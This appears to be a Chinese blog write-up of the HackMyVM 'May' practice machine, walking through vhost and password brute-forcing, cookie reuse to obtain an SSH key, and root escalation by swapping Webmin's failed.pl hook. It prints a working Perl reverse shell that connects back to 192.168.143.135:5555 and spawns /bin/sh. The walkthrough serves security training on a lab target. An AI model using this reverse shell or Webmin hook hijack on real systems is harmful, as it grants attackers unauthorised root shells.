当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集
访问80,会跳转到域名may.hmv
访问,这里需添加hosts访问。
得到了一个用户明marie
。
爆破目录未果,于是爆破vhost。
找到两个vhost,portal
和ssh
。添加hosts后访问portal.may.hmv
。这个一个登录页面,会验证用户名和密码,尝试注入失败后,利用前面得到的用户名尝试爆破密码。
得到密码rebelde
并成功获取到了cookie,将这个cookie注入到http://ssh.may.hmv/check.php
的请求中去,成功获取marie
用户的私钥。
获取user flag
将私钥保存,并设置为只可当前用户读写,ssh登录marie
。
获取root flag
查看root
用户进程,发现了如下进程。
查看miniserv.conf文件权限,发现marie
可以直接编辑,于是在home
目录下创建一个failed.pl
替换掉默认的。
在failed.pl
中加入了反弹shell代码。
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot)。重启后随便webmin登录一个错误账号就可以反弹root。
边栏推荐
- PHP有哪些杀手级超厉害框架或库或应用?
- The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
- JS objects, functions and scopes
- js 之 Object.defineProperty()
- Pycharm打包项目为exe文件
- 3.PHP数据类型、常量、字符串和运算符
- Various ways of AES encryption
- Batch replace file fonts, Simplified -> Traditional
- 逍遥多开模拟器ADB驱动连接
- v-bind用法:类动态绑定对象 数组 style样式 及函数方法
猜你喜欢
随机推荐
如何根据地图上的两个坐标点来确定方向
12.什么是JS
[phpunit/php-timer]一个用于代码执行时间的计时器
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
Thread Pool (Introduction and Use of Thread Pool)
PHP有哪些框架?
多线程(实现多线程、线程同步、生产者消费者)
点名系统和数组元素为对象的排序求最大值和最小值
PHP image compression to specified size
(3) Thinkphp6 database
Turn trendsoft/capital amount of Chinese capital library
12. What is JS
14.JS语句和注释,变量和数据类型
SQL:DDL、DML、DQL、DCL相应介绍以及演示
4.表单与输入
[symfony/mailer] An elegant and easy-to-use mail library
2.PHP变量、输出、EOF、条件语句
IO streams, byte stream and byte stream buffer
Solve the problem of uni - app packaged H5 website to download image